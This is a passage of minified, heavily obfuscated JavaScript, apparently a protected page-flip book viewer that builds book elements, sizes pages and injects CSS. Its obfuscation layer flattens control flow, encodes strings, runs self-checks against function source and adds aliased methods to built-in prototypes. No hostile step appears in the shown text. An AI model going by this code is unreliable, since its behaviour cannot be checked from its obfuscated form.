127:Q8=M2[66] < M2[6].length?126:149;break;case 68:M2[16].V$=function(){var y0=function(){return 1024 * 1024;};var Z8=(/[\u0035-\u0038]/).c11gv4(y0 + []);return Z8;};M2[43]=M2[16];M2[61]={};Q8=90;break;case 45:M2[19].G9=['V0'];M2[19].V$=function(){var g0=function(){var P9;switch(P9){case 0:break;}};var Q3=!(/\x30/).c11gv4(g0 + []);return Q3;};Q8=64;break;case 148:Q8=72?148:147;break;case 81:M2[26].V$=function(){var J4=function(t5){return t5 && t5['b'];};var E_=(/\056/).c11gv4(J4 + []);return E_;};M2[70]=M2[26];M2[49]={};M2[49].G9=['Z3'];M2[49].V$=function(){var Q2=typeof G30XbR === 'function';return Q2;};Q8=103;break;case 59:M2[23]={};M2[23].G9=['g4'];M2[23].V$=function(){var j9=function(){return [1,2,3,4,5].concat([5,6,7,8]);};var E2=!(/\x28\u005b/).c11gv4(j9 + []);return E2;};M2[82]=M2[23];M2[20]={};M2[20].G9=['Z3'];M2[20].V$=function(){var Q$=typeof D$E3uo === 'function';return Q$;};Q8=75;break;case 103:M2[22]=M2[49];M2[77]={};M2[77].G9=['Z3'];M2[77].V$=function(){function M8(I4,w2){return I4 + w2;};var H7=(/\157\x6e[\n\u1680-\u2000\v\u202f\u3000\u2029\u2028\u200a\t\u205f\u00a0\r\ufeff \f]{0,}\050/).c11gv4(M8 + []);return H7;};M2[73]=M2[77];M2[6].h8uK7l(M2[35]);M2[6].h8uK7l(M2[70]);Q8=96;break;case 21:M2[15].V$=function(){var W5=function(){return parseFloat(".01");};var g_=!(/[\163\154]/).c11gv4(W5 + []);return g_;};M2[25]=M2[15];M2[60]={};M2[60].G9=['g4'];M2[60].V$=function(){var n1=function(){return ['a','a'].join();};var F_=!(/(\x5b|\u005d)/).c11gv4(n1 + []);return F_;};Q8=31;break;case 147:C4[7]=87;Q8=146;break;case 152:M2[28].h8uK7l(M2[56]);Q8=151;break;case 93:M2[6].h8uK7l(M2[1]);Q8=92;break;case 96:M2[6].h8uK7l(M2[27]);M2[6].h8uK7l(M2[68]);M2[6].h8uK7l(M2[41]);Q8=93;break;case 12:M2[8]=M2[9];M2[2]={};M2[2].G9=['U5'];M2[2].V$=function(){var d6=function(o6,m2){return o6 + m2;};var Q9=function(){return d6(2,2);};var Z2=!(/\x2c/).c11gv4(Q9 + []);return Z2;};M2[4]=M2[2];M2[5]={};M2[5].G9=['U5'];Q8=16;break;case 123:Q8=M2[92] < M2[96][M2[65]].length?122:150;break;case 2:var M2=[arguments];Q8=1;break;case 64:M2[99]=M2[19];M2[39]={};M2[39].G9=['V0'];M2[39].V$=function(){var g2=function(){'use stirct';return 1;};var t1=!(/\163\x74\x69\162\u0063\u0074/).c11gv4(g2 + []);return t1;};M2[94]=M2[39];Q8=59;break;case 108:M2[6].h8uK7l(M2[8]);M2[6].h8uK7l(M2[86]);M2[6].h8uK7l(M2[94]);Q8=105;break;case 5:return 13;break;case 75:M2[35]=M2[20];M2[54]={};M2[54].G9=['V0'];M2[54].V$=function(){var d2=function(){if(false){console.log(1);}};var x9=!(/\u0031/).c11gv4(d2 + []);return x9;};M2[68]=M2[54];M2[16]={};M2[16].G9=['U5','V0'];Q8=68;break;case 118:M2[6].h8uK7l(M2[73]);M2[6].h8uK7l(M2[22]);M2[6].h8uK7l(M2[25]);M2[6].h8uK7l(M2[71]);M2[6].h8uK7l(M2[82]);Q8=113;break;case 16:M2[5].V$=function(){var O1=function(){return ("01").substr(1);};var c_=!(/\060/).c11gv4(O1 + []);return c_;};M2[3]=M2[5];M2[74]={};Q8=26;break;case 7:M2[1]=M2[7];M2[9]={};M2[9].G9=['U5','V0'];M2[9].V$=function(){var x6=function(){return 1024 * 1024;};var n6=(/[\u0035-\x38]/).c11gv4(x6 + []);return n6;};Q8=12;break;case 92:M2[6].h8uK7l(M2[43]);M2[6].h8uK7l(M2[18]);M2[6].h8uK7l(M2[3]);Q8=118;break;case 128:M2[66]=0;Q8=127;break;case 151:M2[92]++;Q8=123;break;case 42:M2[81].G9=['U5'];M2[81].V$=function(){var H_=function(){return new RegExp('/ /');};var L7=(typeof H_,!(/\156\u0065\u0077/).c11gv4(H_ + []));return L7;};M2[46]=M2[81];M2[51]={};Q8=38;break;case 4:M2[6]=[];M2[7]={};M2[7].G9=['U5','V0'];M2[7].V$=function(){var b5=function(F$){return F$ && F$['b'];};var J5=(/\056/).c11gv4(b5 + []);return J5;};Q8=7;break;case 126:M2[96]=M2[6][M2[66]];try{M2[34]=M2[96][M2[10]]()?M2[78]:M2[33];}catch(P1){M2[34]=M2[33];}Q8=124;break;case 52:M2[88].V$=function(){var k9=function(){return atob('PQ==');};var N2=!(/\x61\164\157\u0062/).c11gv4(k9 + []);return N2;};M2[86]=M2[88];M2[89]={};Q8=49;break;case 90:M2[61].G9=['V0'];M2[61].V$=function(){var S1=function(v9,q6,O$,n9){return !v9 && !q6 && !O$ && !n9;};var k_=(/\u007c\174/).c11gv4(S1 + []);return k_;};M2[18]=M2[61];M2[30]={};M2[30].G9=['g4'];M2[30].V$=function(){var T7=function(){return ('aaa').includes('a');};var i0=(/\u0074\162\x75\u0065/).c11gv4(T7 + []);return i0;};Q8=84;break;case 122:M2[56]={};M2[56][M2[98]]=M2[96][M2[65]][M2[92]];M2[56][M2[85]]=M2[34];Q8=152;break;case 124:M2[92]=0;Q8=123;break;}}};return C4[2];break;}}})();z_cHO.f4=function(){return typeof z_cHO[168396].n36oZcO === 'function'?z_cHO[168396].n36oZcO.apply(z_cHO[168396],arguments):z_cHO[168396].n36oZcO;};z_cHO[565732]=351;function t5DYTj(p1g){function z9M(m4a){var w0e=2;for(;w0e !== 5;){switch(w0e){case 2:var Z9b=[arguments];return Z9b[0][0].Function;break;}}}function I4N(B6y){var d0h=2;for(;d0h !== 5;){switch(d0h){case 2:var k6Y=[arguments];return k6Y[0][0].String;break;}}}function d9I(O17,M5F,e5n,t8Q,e6S){var L43=2;for(;L43 !== 6;){switch(L43){case 8:l45[6]="def";try{var S7c=2;for(;S7c !== 13;){switch(S7c){case 9:l45[8][l45[0][4]]=l45[8][l45[0][2]];l45[7].set=function(A58){var k4I=2;for(;k4I !== 5;){switch(k4I){case 2:var j7i=[arguments];l45[8][l45[0][2]]=j7i[0][0];k4I=5;break;}}};l45[7].get=function(){var Q7P=2;for(;Q7P !== 14;){switch(Q7P){case 2:var h70=[arguments];h70[1]="";h70[1]="fined";h70[8]="nde";Q7P=3;break;case 3:h70[6]="u";h70[3]=h70[6];h70[3]+=h70[8];h70[3]+=h70[1];Q7P=6;break;case 6:return typeof l45[8][l45[0][2]] == h70[3]?undefined:l45[8][l45[0][2]];break;}}};l45[7].enumerable=l45[4];try{var R8_=2;for(;R8_ !== 3;){switch(R8_){case 2:l45[9]=l45[6];l45[9]+=l45[2];l45[9]+=l45[3];l45[0][0].Object[l45[9]](l45[8],l45[0][4],l45[7]);R8_=3;break;}}}catch(U2i){}S7c=13;break;case 3:return;break;case 4:S7c=l45[8].hasOwnProperty(l45[0][4]) && l45[8][l45[0][4]] === l45[8][l45[0][2]]?3:9;break;case 2:l45[7]={};l45[5]=(1,l45[0][1])(l45[0][0]);l45[8]=[l45[5],l45[5].prototype][l45[0][3]];S7c=4;break;}}}catch(c1s){}L43=6;break;case 2:var l45=[arguments];l45[3]="";l45[3]="";l45[3]="ty";l45[2]="ineProper";l45[4]=false;L43=8;break;}}}function q7F(Z2e){var U1F=2;for(;U1F !== 5;){switch(U1F){case 1:return S8O[0][0].Math;break;case 2:var S8O=[arguments];U1F=1;break;}}}function A5v(V4j){var A$7=2;for(;A$7 !== 5;){switch(A$7){case 2:var P_r=[arguments];return P_r[0][0];break;}}}var R9F=2;for(;R9F !== 182;){switch(R9F){case 54:C9E[84]="";C9E[84]="B";C9E[58]="";C9E[58]="";R9F=50;break;case 19:C9E[5]="S";C9E[51]="TgF";C9E[85]="";C9E[77]="u2h";R9F=15;break;case 55:C9E[75]="";C9E[75]="k";C9E[49]="l";C9E[88]="";R9F=74;break;case 30:C9E[40]="SkI";C9E[82]="f";C9E[69]="";C9E[69]="D7";R9F=43;break;case 59:C9E[57]="";C9E[57]="qR";C9E[30]="";C9E[30]="4S0";R9F=55;break;case 74:C9E[88]="K7";C9E[14]="";C9E[14]="h8u";C9E[32]="";R9F=70;break;case 184:d8R(A5v,C9E[78],C9E[22],C9E[54]);R9F=183;break;case 154:d8R(I4N,"split",C9E[52],C9E[66]);R9F=153;break;case 2:var C9E=[arguments];C9E[9]="";C9E[9]="b3H";C9E[3]="";C9E[6]="Mo";C9E[3]="";C9E[3]="4f";R9F=7;break;case 63:C9E[12]="4BX";C9E[17]="";C9E[80]="n";C9E[17]="__res";R9F=59;break;case 39:C9E[20]="qJ6";C9E[31]="";C9E[23]="AqYY";C9E[31]="v";R9F=54;break;case 187:d8R(A5v,C9E[46],C9E[22],C9E[68]);R9F=186;break;case 132:C9E[46]+=C9E[37];C9E[24]=C9E[80];C9E[24]+=C9E[12];C9E[24]+=C9E[43];C9E[50]=C9E[58];R9F=127;break;case 156:d8R(A5v,"decodeURI",C9E[22],C9E[47]);R9F=155;break;case 153:d8R(d2W,"unshift",C9E[52],C9E[59]);R9F=189;break;case 7:C9E[4]="";C9E[4]="qL";C9E[8]="";C9E[1]="y";R9F=12;break;case 46:C9E[37]="";C9E[37]="al";C9E[65]="";C9E[65]="idu";R9F=63;break;case 66:C9E[45]="";C9E[45]="ptimiz";C9E[98]="e";C9E[72]="";R9F=87;break;case 139:C9E[62]+=C9E[8];C9E[62]+=C9E[4];C9E[28]=C9E[31];C9E[28]+=C9E[3];R9F=170;break;case 87:C9E[72]="";C9E[63]="__o";C9E[72]="0XbR";C9E[56]="";R9F=83;break;case 50:C9E[58]="z4Qc";C9E[96]="h5";C9E[43]="";C9E[43]="Go";R9F=46;break;case 79:C9E[92]="abstra";C9E[55]="ct";C9E[94]="__";C9E[60]="$E";R9F=102;break;case 12:C9E[8]="nh";C9E[7]="6n";C9E[5]="";C9E[2]="Q8";R9F=19;break;case 144:C9E[36]+=C9E[51];C9E[91]=C9E[33];C9E[91]+=C9E[77];C9E[91]+=C9E[5];C9E[62]=C9E[2];R9F=139;break;case 158:d8R(d2W,"sort",C9E[52],C9E[91]);R9F=157;break;case 83:C9E[56]="3";C9E[16]="";C9E[16]="G";C9E[94]="";R9F=79;break;case 170:C9E[28]+=C9E[6];C9E[38]=C9E[9];C9E[38]+=C9E[1];C9E[38]+=C9E[26];R9F=166;break;case 163:var d8R=function(F8h,W2c,B6n,T5c){var J8k=2;for(;J8k !== 5;){switch(J8k){case 2:var U06=[arguments];d9I(C9E[0][0],U06[0][0],U06[0][1],U06[0][2],U06[0][3]);J8k=5;break;}}};R9F=162;break;case 24:C9E[41]="JH";C9E[13]="";C9E[13]="mzG";C9E[70]="";C9E[70]="e8";R9F=34;break;case 189:d8R(z9M,"apply",C9E[52],C9E[50]);R9F=188;break;case 157:d8R(d2W,"join",C9E[52],C9E[36]);R9F=156;break;case 94:C9E[18]+=C9E[60];C9E[18]+=C9E[21];C9E[67]=C9E[94];C9E[67]+=C9E[92];C9E[67]+=C9E[55];C9E[54]=C9E[16];C9E[54]+=C9E[56];R9F=116;break;case 70:C9E[32]="1";C9E[64]="";C9E[73]="1gv4";C9E[64]="c";R9F=66;break;case 188:d8R(d2W,"splice",C9E[52],C9E[24]);R9F=187;break;case 127:C9E[50]+=C9E[84];C9E[50]+=C9E[31];C9E[59]=C9E[96];C9E[59]+=C9E[20];R9F=123;break;case 123:C9E[59]+=C9E[35];C9E[66]=C9E[69];C9E[66]+=C9E[82];C9E[66]+=C9E[40];R9F=152;break;case 183:d8R(A5v,C9E[67],C9E[22],C9E[18]);R9F=182;break;case 152:C9E[29]=C9E[39];C9E[29]+=C9E[34];C9E[29]+=C9E[23];C9E[47]=C9E[70];R9F=148;break;case 112:C9E[19]=C9E[64];C9E[19]+=C9E[32];C9E[19]+=C9E[73];C9E[61]=C9E[14];C9E[61]+=C9E[88];C9E[61]+=C9E[49];C9E[68]=C9E[75];R9F=105;break;case 159:d8R(q7F,"random",C9E[22],C9E[62]);R9F=158;break;case 161:d8R(I4N,"fromCharCode",C9E[22],C9E[38]);R9F=160;break;case 160:d8R(A5v,"Math",C9E[22],C9E[28]);R9F=159;break;case 102:C9E[21]="3uo";C9E[26]="";C9E[26]="D";C9E[52]=5;R9F=98;break;case 15:C9E[33]="D$";C9E[85]="89";C9E[74]="";C9E[74]="U";R9F=24;break;case 105:C9E[68]+=C9E[30];C9E[68]+=C9E[57];C9E[46]=C9E[17];C9E[46]+=C9E[65];R9F=132;break;case 116:C9E[54]+=C9E[72];C9E[78]=C9E[63];C9E[78]+=C9E[45];C9E[78]+=C9E[98];R9F=112;break;case 34:C9E[34]="";C9E[34]="2";C9E[93]="q";C9E[40]="";R9F=30;break;case 98:C9E[52]=1;C9E[22]=9;C9E[22]=0;C9E[18]=C9E[26];R9F=94;break;case 148:C9E[47]+=C9E[93];C9E[47]+=C9E[13];C9E[36]=C9E[74];C9E[36]+=C9E[85];R9F=144;break;case 155:d8R(I4N,"charCodeAt",C9E[52],C9E[29]);R9F=154;break;case 186:d8R(d2W,"push",C9E[52],C9E[61]);R9F=185;break;case 162:d8R(A5v,"String",C9E[22],C9E[99]);R9F=161;break;case 43:C9E[35]="";C9E[35]="8";C9E[20]="";C9E[39]="O";R9F=39;break;case 185:d8R(U3S,"test",C9E[52],C9E[19]);R9F=184;break;case 166:C9E[99]=C9E[26];C9E[99]+=C9E[7];C9E[99]+=C9E[41];R9F=163;break;}}function U3S(Q5x){var v3Q=2;for(;v3Q !== 5;){switch(v3Q){case 2:var m_i=[arguments];return m_i[0][0].RegExp;break;}}}function d2W(Q_P){var F3L=2;for(;F3L !== 5;){switch(F3L){case 2:var H7H=[arguments];return H7H[0][0].Array;break;}}}}z_cHO[460381]=true;z_cHO[415743]=true;z_cHO[632274]=z_cHO[114068];z_cHO[114068].N5mm=z_cHO;z_cHO[19290]=false;function z_cHO(){}var ge,ue,fe,me,be,Se,ve,we,ye;pe.prototype=new It.Z();pe.prototype.constructor=pe;pe.prototype.destructor=function(){this.destroyed=!0;this.tween && j().remove(this.tween);this.removeInnerEvents();this.removeDOMEvents();this.preWrapper.destroy();this.leftWrapper.destroy();this.rightWrapper.destroy();z_cHO.b8();this.nxtWrapper.destroy();A.Z.del(this.bookDiv);A.Z.del(this.styleTag);A.Z.del(this.dynamicStyleTag);};pe.prototype.animationLoop=function(M0){z_cHO.f4();this.destroyed || (j().update(M0),requestAnimationFrame(this.animationLoop.bind(this)));};pe.prototype.resetWrappers=function(){var b1;b1=!(arguments.length > "0" << 0 && void 0 !== arguments[0]) || arguments[+"0"];this.preWrapper.destroy();this.leftWrapper.destroy();this.rightWrapper.destroy();this.nxtWrapper.destroy();this.preWrapper=Mt(this.bookState.getState(),this.bookState,this.bookDiv,!+"1",2,!("0" | 0),this.parentVm,this.contentCreator);this.leftWrapper=Mt(this.bookState.getState(),this.bookState,this.bookDiv,!("1" - 0),3,!("0" >> 64),this.parentVm,this.contentCreator);z_cHO.f4();this.rightWrapper=Mt(this.bookState.getState(),this.bookState,this.bookDiv,!+"0",3,!("0" << 0),this.parentVm,this.contentCreator);this.nxtWrapper=Mt(this.bookState.getState(),this.bookState,this.bookDiv,!0,+"2",!0,this.parentVm,this.contentCreator);this.setClasses();this.setStyles();this.setSpeedRate();b1 && this.trigger(z_cHO.s6("204" >> 0));};pe.prototype.setSpeedRate=function(){z_cHO.b8();this.speedRate=("0" << 64,ot.bh)().state.book.pageFlippingDuration;this.speedRate > ("0" | 0) || (this.speedRate="1" | 1);};pe.prototype.block=function(F3){z_cHO.b8();this.blocked=!+"0";F3 && A.Z.addClass(this.globalWrapper,z_cHO.L4("138" << 32));};pe.prototype.unblock=function(){this.blocked=!+"1";z_cHO.b8();A.Z.removeClass(this.globalWrapper,z_cHO.L4(+"138"));};pe.prototype.genDOM=function(){var a_=z_cHO;var r7,n2,D6;this.bookDiv=A.Z.createElement(a_.L4("141" * 1),{'\u0063\u006c\u0061\u0073\u0073':a_.L4(+"62"),'\u0069\u0064':a_.s6(+"62"),'\u0061\u0072\u0069\u0061\u002d\u0068\u0069\u0064\u0064\u0065\u006e':a_.s6(+"73")},this.globalWrapper);this.shadowCanvas=A.Z.createElement(a_.L4("57" - 0),{'\u0063\u006c\u0061\u0073\u0073':a_.L4(+"217")},this.bookDiv);this.stripeCanvas=A.Z.createElement(a_.L4("57" ^ 0),{'\u0063\u006c\u0061\u0073\u0073':a_.s6("157" ^ 0)},this.bookDiv);this.leftStripeBlock=A.Z.createElement(a_.s6(141),{'\u0063\u006c\u0061\u0073\u0073':a_.s6(95)},this.bookDiv);this.rightStripeBlock=A.Z.createElement(a_.L4(+"141"),{'\u0063\u006c\u0061\u0073\u0073':a_.s6("90" ^ 0)},this.bookDiv);r7=A.Z.createElement(a_.L4(141),{'\u0063\u006c\u0061\u0073\u0073':a_.L4(+"82"),'\u0069\u0064':a_.s6(+"82")},this.bookDiv);if((this.innerReflexBottom=A.Z.createElement(a_.s6(141),{'\u0063\u006c\u0061\u0073\u0073':a_.s6("77" >> 32)},r7),this.styleTag=A.Z.id(a_.s6("135" << 64)),!this.styleTag)){n2={'\u0069\u0064':a_.s6(+"135")};("0" * 1,le.V)() && (n2.nonce=("0" | 0,le.V)());this.styleTag=A.Z.createElement(a_.L4(+"0"),n2,document.getElementsByTagName(a_.L4(190))[0]);}if((this.dynamicStyleTag=A.Z.id(a_.L4("42" | 8)),!this.dynamicStyleTag)){D6={'\u0069\u0064':a_.L4("42" - 0)};(+"0",le.V)() && (D6.nonce=("0" | 0,le.V)());this.dynamicStyleTag=A.Z.createElement(a_.s6(0),D6,document.getElementsByTagName(a_.s6("190" | 0))["0" ^ 0]);}a_.b8();this.calcStripeColors();this.setClasses();r7=null;};pe.prototype.setClasses=function(){var q3=z_cHO;q3.f4();this.bookState.hardcover?(this.globalWrapper.classList.add(q3.L4(101)),this.globalWrapper.classList.remove(q3.L4(+"168")),this.bookDiv.classList.add(q3.s6("101" << 64)),this.bookDiv.classList.remove(q3.L4(+"168"))):(this.globalWrapper.classList.add(q3.s6("168" >> 64)),this.globalWrapper.classList.remove(q3.s6(101)),this.bookDiv.classList.add(q3.L4("168" >> 0)),this.bookDiv.classList.remove(q3.s6(+"101")));};pe.prototype.setBookSize=function(X5){var k3;z_cHO.b8();this.bookDiv.style.width=X5.width + z_cHO.s6(+"200");this.bookDiv.style.height=X5.height + z_cHO.s6("200" - 0);this.bookLeft=X5.left;this.bookHeight=X5.height;this.bookWidth=X5.width;this.bookMarginTop=X5.top;this.bookMarginLeft=X5.left;k3=("0" - 0,ot.bh)().state.workspace.containerSize;this.fittedSize=(+"0",ae.Tj)(X5,k3);this.initBaseSizes();};pe.prototype.initBaseSizes=function(){var l2,q5,Z0,j$;l2=Math.round(this.bookWidth / +"2");q5=this.bookHeight;Z0=Math.round(1.25 * l2);j$=Math.round(Math.min(Math.sqrt(l2 * l2 + q5 * q5),"2" * 1 * l2));this.maskWorkHeight=this.bookHeight + ("2" << 0) * Z0;this.innerReflexWidth=j$;this.innerReflexMarginTop=Z0;this.innerReflexBottomWidth=j$;this.innerReflexBottomMarginTop=Z0;this.flipGradientWidth=j$;this.flipGradientTop=Z0;this.maskTop=Z0;this.pageWidth=l2;z_cHO.b8();this.pageHeight=q5;this.maskWidth=j$;this.setStyles();};pe.prototype.setStyles=function(){var T6=z_cHO;var B4,D8,Y_,S4,a9,J3,e$,L8,r5,t2,Z7,j_,x0,t3,o9,H2,C9,w6,I8,Z4;B4=this.pageHeight;D8=this.pageWidth;Y_=this.bookHeight;S4=this.bookWidth;a9=this.maskTop;J3=this.maskWorkHeight;e$=this.maskWidth;L8=Math.round("1.1" * 1 * S4);r5=Math.round("1.08" * 1 * Y_);L8 % +"2" != 0 && S4 % ("2" * 1) == +"0" && (L8+=1);r5 % ("2" ^ 0) != "0" >> 64 && (r5+=1);t2=Math.round((r5 - Y_) / 2);Z7=Math.round((L8 - S4) / ("2" >> 32));this.stripeCanvas.width=L8;this.stripeCanvas.height=Y_;this.stripeCanvasCTX=this.stripeCanvas.getContext(T6.L4("113" * 1));this.shadowCanvas.width=L8;this.shadowCanvas.height=r5;this.shadowCanvasCTX=this.shadowCanvas.getContext(T6.L4(+"113"));this.shadowCanvas.style.opacity=this.bookState.pagesCount <= +"2" && this.bookState.hardcover?"0" >> 64:null;T6.b8();j_=this.bookState.singleMode && this.bookState.rtl?T6.L4(+"137"):T6.s6("55" - 0);x0=this.bookState.singleMode && this.bookState.rtl?T6.s6(186):T6.L4(+"41");t3=T6.L4(+"92") + D8 + T6.s6("154" >> 0);o9=T6.L4(+"1") + -Math.round(+".1" * Y_) + T6.L4(+"128") + -Math.round(+".05" * S4) + T6.s6(+"194") + Math.round(1.1 * S4) + T6.s6("165" | 37) + Math.round("1.2" * 1 * Y_) + T6.s6(211) + D8 + T6.L4("84" << 0) + B4 + T6.L4("67" << 64) + e$ + T6.s6(+"84") + B4 + T6.s6("158" | 24) + D8 + T6.L4(+"159") + (0 - (e$ - S4)) + T6.L4(+"163") + D8 + T6.L4("64" | 0) + J3 + T6.s6("155" * 1) + -a9 + T6.L4(+"194") + e$ + T6.s6("165" - 0) + J3 + T6.s6(+"24") + Math.round(e$ - S4 / 2) + T6.s6(+"172") + S4 + T6.s6(165) + Y_ + T6.L4(130) + e$ + T6.L4("165" ^ 0) + J3 + T6.L4("120" >> 0) + -a9 + T6.s6(132) + S4 + T6.s6(+"165") + Y_ + T6.s6("27" >> 0) + Math.round(+".57" * D8) + T6.L4(+"165") + Y_ + T6.L4("147" | 18) + Math.round(+".8" * D8) + T6.s6("165" | 0) + Y_ + T6.L4(+"34") + Math.round(".8" * 1 * D8) + T6.s6(165) + Y_ + T6.s6(+"150") + j_ + T6.s6(178) + Math.round(D8) + T6.s6("194" >> 32) + Math.round(D8) + T6.s6("165" ^ 0) + Math.round(Y_) + T6.s6(45) + x0 + T6.s6(+"178") + -D8 + T6.L4(+"203") + L8 + T6.s6("165" ^ 0) + r5 + T6.L4(+"83") + Z7 + T6.L4(+"140") + t2 + T6.L4(+"162") + L8 + T6.L4(+"165") + Y_ + T6.L4(+"83") + Z7 + T6.s6("88" * 1) + (this.bookState.singleMode?t3:T6.s6(23));if(this.bookState.hardcover){H2=Math.round(Y_ * ce);C9=Math.round(D8 * ce);H2 % 2 != 0 && (H2+="1" - 0);w6=H2;I8=Math.round((H2 - Y_) / +"2");Z4=Math.round(D8 * (ce - ("1" ^ 0)));o9+=T6.s6("106" >> 32) + w6 + T6.L4(118) + I8 + T6.s6("39" ^ 0) + this.bookState.hardcoverColor + T6.L4(+"193") + C9 + T6.L4("165" << 32) + H2 + T6.L4("140" | 8) + I8 + T6.L4(+"4") + Z4 + T6.L4(212) + C9 + T6.s6(+"84") + H2 + T6.L4(+"167") + Math.round(S4 / ("2" * 1)) + T6.L4("25" >> 64) + D8 + T6.s6(+"165") + B4 + T6.L4("59" | 2) + this.bookState.hardcoverColor + T6.L4("76" << 32) + this.bookState.hardcoverColor + T6.s6("78" * 1) + Z4 + T6.L4(175) + I8 + T6.L4("115" * 1) + Z4 + T6.L4("175" | 9) + I8 + T6.s6("61" * 1) + D8 + T6.L4("145" >> 32) + Y_ + T6.s6(+"108") + Z4 + T6.s6("175" >> 0) + I8 + T6.L4("36" ^ 0) + D8 + T6.s6(145) + Y_ + T6.s6(+"136") + I8 + T6.L4(29);}void ("0" << 32) !== this.styleTag.textContent?this.styleTag.textContent=o9:this.styleTag.innerText=o9;this.setDynamicStyles();o9=null;};pe.prototype.setDynamicStyles=function(){var n4=z_cHO;var Z1,C6,y8,M4,v_,y9,W2,e7,R1;Z1=arguments.length > "0" * 1 && void 0 !== arguments["0" ^ 0] && arguments[0];C6=this.pageWidth;n4.b8();y8=this.bookWidth;if((this.calcStripeSizes(),this.shadow && !Z1?this.renderBookShadow(this.shadow,Z1):this.shadow && Z1 && this.renderStripe(),Z1 || (this.bookContainer.querySelector(n4.L4(+"177")).style.left=this.bookLeft + n4.s6(+"200")),this.bookState.singleMode && this.bookState.rtl?this.bookContainer.querySelector(n4.s6(+"179")).style.left=n4.s6("17" | 1) + (this.leftStripeWidth + (this.bookState.hardcover?C6 * (ce - ("1" << 32)):0)) + n4.s6("200" ^ 0):this.bookState.singleMode?this.bookContainer.querySelector(n4.L4("182" << 32)).style.right=n4.s6(+"17") + (this.rightStripeWidth + (this.bookState.hardcover?C6 * (ce - ("1" | 0)):"0" << 32)) + n4.L4(+"200"):(this.bookContainer.querySelector(n4.s6(+"182")).style.right=n4.L4("17" * 1) + (this.rightStripeWidth + (this.bookState.hardcover?C6 * (ce - 1):0)) + n4.s6("200" >> 64),this.bookContainer.querySelector(n4.s6(179)).style.left=n4.L4(+"17") + (this.leftStripeWidth + (this.bookState.hardcover?C6 * (ce - ("1" | 0)):+"0")) + n4.L4("200" << 0)),("1" | 0) === this.bookState.pagesCount && n4.s6("69" - 0) === this.bookState.version)){M4=this.bookContainer.querySelector(n4.s6("131" ^ 0));if(M4){v_=this.rightStripeWidth + (this.bookState.hardcover && !this.bookState.rtl?C6 * (ce - ("1" - 0)):"0" >> 0);M4.style.right=`${n4.L4(17)}${v_}${n4.L4("200" >> 0)}`;}}if(this.bookState.hardcover){W2=this.bookState.singleMode?Math.round(C6 * ce + this.backboneWidth):Math.round(y8 * ce + this.backboneWidth);e7=this.bookState.singleMode && !this.bookState.rtl?n4.s6("181" ^ 0):n4.L4("17" * 1) + Math.round(C6 * (ce - "1" * 1) + this.leftStripeWidth) + n4.L4(+"200");R1=Math.round(y8 * ce / 2 + this.backboneWidth);y9=n4.L4(+"96") + W2 + n4.L4("128" ^ 0) + e7 + n4.L4("79" - 0) + R1 + n4.L4(+"128") + Math.round(C6 - this.leftStripeWidth) + n4.L4(+"114") + R1 + n4.L4(+"46") + Math.round(C6 - this.rightStripeWidth) + n4.L4(29);}else y9=null;void +"0" !== this.dynamicStyleTag.textContent?this.dynamicStyleTag.textContent=y9:this.dynamicStyleTag.innerText=y9;};pe.prototype.shiftPages=function(){z_cHO.f4();z_cHO.L4("55" << 32) === this.lastDirection?this.shiftPagesLeft():z_cHO.L4("137" * 1) === this.lastDirection && this.shiftPagesRight();};pe.prototype.renderShadow=function(N_){var m6=z_cHO;var m3;if((A.Z.addClass(this.globalWrapper,m6.s6("14" - 0)),A.Z.removeClass(this.globalWrapper,m6.s6(+"153")),N_ && (this.bookState.right.isLastSheet || this.bookState.left.isFirstSheet)))return;m3=this.bookState.right.isFirst?m6.L4(+"197"):this.bookState.left.isLast?m6.s6(192):m6.L4(+"146");this.set(m6.s6(+"7"),m3);this.setDynamicStyles();};pe.prototype.changeShadow=function(k8){var v0=z_cHO;A.Z.id(v0.s6("62" - 0)).setAttribute(v0.s6("174" - 0),v0.L4(+"164") + (this.bookState.hardcover?v0.s6("70" << 64):v0.L4(+"170")) + k8);};pe.prototype.onFlipToLeft=function(){this.lastDirection=z_cHO.L4("55" ^ 0);};pe.prototype.onFlipToRight=function(){this.lastDirection=z_cHO.L4("137" - 0);};pe.prototype.onRenderStart=function(k0){var L9=z_cHO;A.Z.removeClass(this.globalWrapper,L9.s6("14" - 0));L9.L4("101" - 0) === this[this.currentWrapper].type && A.Z.addClass(this.globalWrapper,L9.L4("153" ^ 0));this.bookState.right.isFirst && -("1" >> 32) !== this.startPoint.indexOf(L9.L4(+"55")) || this.bookState.left.isFirstSheet && -("1" * 1) !== this.startPoint.indexOf(L9.s6(+"137")) && L9.L4(+"101") === this[this.currentWrapper].type && L9.s6("129" * 1) === this.currentWrapper || k0.drag && this.bookState.left.isFirstSheet && -("1" ^ 0) !== this.startPoint.indexOf(L9.s6(+"55"))?this.set(L9.L4(+"7"),L9.L4(197)):(this.bookState.left.isLast && -1 !== this.startPoint.indexOf(L9.s6("137" - 0)) || this.bookState.right.isLastSheet && -("1" - 0) !== this.startPoint.indexOf(L9.L4("55" >> 64)) && L9.L4("101" << 32) === this[this.currentWrapper].type && L9.s6("11" >> 64) === this.currentWrapper || k0.drag && this.bookState.right.isLastSheet && -+"1" !== this.startPoint.indexOf(L9.s6("137" ^ 0))) && this.set(L9.s6(7),L9.L4(+"192"));this.setDynamicStyles();};pe.prototype.initInnerEvents=function(){var o$=z_cHO;this.on(o$.L4("10" | 10),this.shiftPagesLeft);this.on(o$.L4(74),this.shiftPagesRight);this.on(o$.L4(+"71"),this.onFlipToLeft);this.on(o$.s6(+"65"),this.onFlipToRight);this.on(o$.s6(94),this.onRenderStart);this.on(o$.s6("51" * 1),this.renderShadow);this.on(o$.L4(199),this.renderShadow);this.on(o$.L4("207" ^ 0),this.renderShadow);this.on(o$.s6(+"117"),this.changeShadow);this.bookState.on(o$.L4(91),this.renderShadow,this);this.bookState.on(o$.s6(+"91"),this.resetWrappers,this);this.bookState.on(o$.L4(+"3"),this.setStyles,this);this.parentVm.$root.$on(o$.L4("116" >> 32),this.onPanCancel.bind(this));this.trigger(o$.L4(207));};pe.prototype.removeInnerEvents=function(){var i8=z_cHO;this.off(i8.s6("10" | 10),this.shiftPagesLeft);this.off(i8.s6(+"74"),this.shiftPagesRight);this.off(i8.s6(71),this.onFlipToLeft);this.off(i8.s6("65" * 1),this.onFlipToRight);this.off(i8.s6(94),this.onRenderStart);this.off(i8.L4(+"51"),this.renderShadow);this.off(i8.L4(+"199"),this.renderShadow);this.off(i8.L4(+"207"),this.renderShadow);this.off(i8.L4(+"117"),this.changeShadow);this.bookState.off(i8.s6(+"91"),this.renderShadow,this);this.bookState.off(i8.L4("91" ^ 